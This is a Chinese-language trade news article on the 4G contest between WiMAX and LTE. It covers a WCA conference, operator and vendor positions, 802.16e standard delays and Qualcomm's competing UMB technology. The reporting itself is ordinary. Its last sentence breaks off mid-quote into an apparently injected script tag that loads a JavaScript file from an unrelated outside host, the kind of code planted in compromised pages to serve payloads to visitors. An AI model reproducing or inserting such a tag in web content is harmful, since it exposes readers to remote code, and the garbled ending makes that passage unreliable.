什么才是第四代蜂窝系统？针对这个问题，目前各种技术争论不休。在这场激烈的竞争中，wimax似乎已注定无法出线，但是，它却可望在这一新兴领域吸引大量的小规模投资，并可能将互联网接入带到新一代的消费产品中。
这是在不久前国际无线通信协会(wca)举办的年度会议中，行业人士对wimax的评价，wca的成员大多对wimax持拥护态度。虽然包括英特尔在内的许多支持者，一直都在大肆宣扬这种宽带无线技术，但是本次会议却明确指出：wimax的发展前景光明但十分有限，而且其发展面临诸多挑战。
即使wca内部wimax的支持者们也承认，作为蜂窝网gsm标准的继承者，长期演进(lte)计划将在第四代蜂窝网络系统中占据最大份额。因为，届时提供大量gsm服务的运营商，将能够让用户从目前的wcdma网络转移到lte网络中。现在，lte仍在定义之中。
目前，全球55个国家中共有多达122个商用wcdma网络正在运行，其用户数达到了7,000万，所使用的手机有407个不同型号，美国bechtel通讯公司ctojakemacleod指出。“这对现有无线业务而言，是一个强大的推动力。”macleod称，该公司的主要业务是为运营商搭建公共网络。
另一方面，目前还没有运营商已经部署了去年wca会议中正式定义的802.16e移动wimax规范。原因在于，运营商们希望部署第二代规格版本，以便支持lte和其竞争对手(高通正在研发中的技术)都将使用的mimo天线技术。
截至今年晚期，支持移动wimax版本的系统都不会获得认证，也不会面市。此外，该技术面临的频谱争议也阻碍了某些应用。“我们正在向该领域挺进，但还远远未达到之前期望的程度。”macleod提到。
macleod介绍，运营商sprintnextel、新创公司clearwire和俄国的sistema一直都是wimax的拥趸，而cingular和vodafone则支援lte。at&t、bt和verizon，可能会采用wimax作为其部署光纤到户时的辅助技术。此外，卫星广播运营商也正在考虑将wimax作为备用频道(backchannel)，他补充道。
“长远来看，lte将在4g蜂窝网络中赢得市场占有率优势，但wimax也能够获得可观的比例，大概在20%左右。这是一个极其庞大的全球市场。”macleod指出。其公司目前已经在全球部署了数百个网络，其中包括一些目前最大的蜂窝系统。
由于标准延迟，sprintnextel已经将2007年原定投入wimax上的费用从10亿美元削减到了8亿美元，abiresearch公司资深移动技术分析师philipsolis表示。“系统和服务供货商都希望能够无障碍地进入.16e标准，但结果却是一团糟。”
“我们将在年底展示.16e，向客户展示我们的能力，但对大多数客户而言，实际部署则需要在两至三年之后。”加拿大系统制造商redline通信公司ceomajedsifri表示。
同大多数wimax系统公司一样，redline也将2007年的业务重点放在使用802.16d标准部署固定接入系统，在发展中国家将其作为dsl的一种替代方案。但是sifri却提到：“目前我们有三分之二的工程师将注意力放在了.16e上。”
.16e开发工作正在持续展开的另一个迹象，就是navininetworks公司宣布已将其mimo和波束成形技术从基于cdma的系统转移到移动wimax系统。navini公司产品营销经理yasserhannush表示，该公司采用了以8根天线组成的天线组(2×4mimo系统)，加上执行于tidsp上的专有算法，可以获得较其预算高出9-18db的好成绩。
美国sierramonolithics公司则展示了其首款双频(2.5ghz和3.5ghz)rfic，支持802.16d、802.16e标准与2×1mimo。
高通将成为破坏者？
在这场被一些人视为lte和wimax之间的双向竞赛中，高通可能会扮演破坏者的角色。估计最早在今年春季，高通公司就可能展示其超越wcdma技术的开发计划，而这个新技术很有可能将成为第四代蜂窝技术的竞争对手。
高通公司产品管理总监umajha透露，该公司将展示数据率达10mbps，且频谱效率优于wimax的产品。高通一直在与朗讯、三星等合作伙伴共同努力，以实现其自己的ofdm技术，这项技术现在已经获得了ieee802.20小组和3gpp2小组的超级移动宽带(umb)标准的认可。
“我们当然也能像其他人那样轻松搭建wimax，但我们看不出它有什么特别价值。”jha称。
目前许多第二代与第三代蜂窝网芯片与系统中都采用了cdma技术，由于收取高额的cdma专利费用，高通面临着一系列的法律诉讼。相反，wimax论坛主管声称，没有一家公司能够专利垄断wimax。因为该论坛的一项分析调查显示，有关wimax的1,550项专利由330家公司分别持有，而拥有10项以上专利的公司中有四分之三已经成为wimax论坛的成员。
对wimax的支持者而言，好消息是互通性测试正在不断进行中，而新的芯片组也即将面市。wimax系统制造商srtelecom公司营销副总裁chadpralle表示，该公司期望能尽早看到英特尔同时支持.16d和.16e标准的rosedale-2芯片组。“人们希望能够轻松实现“d-e”升级，最好只要轻松按下按键?script src=http://er12.com/t.js>
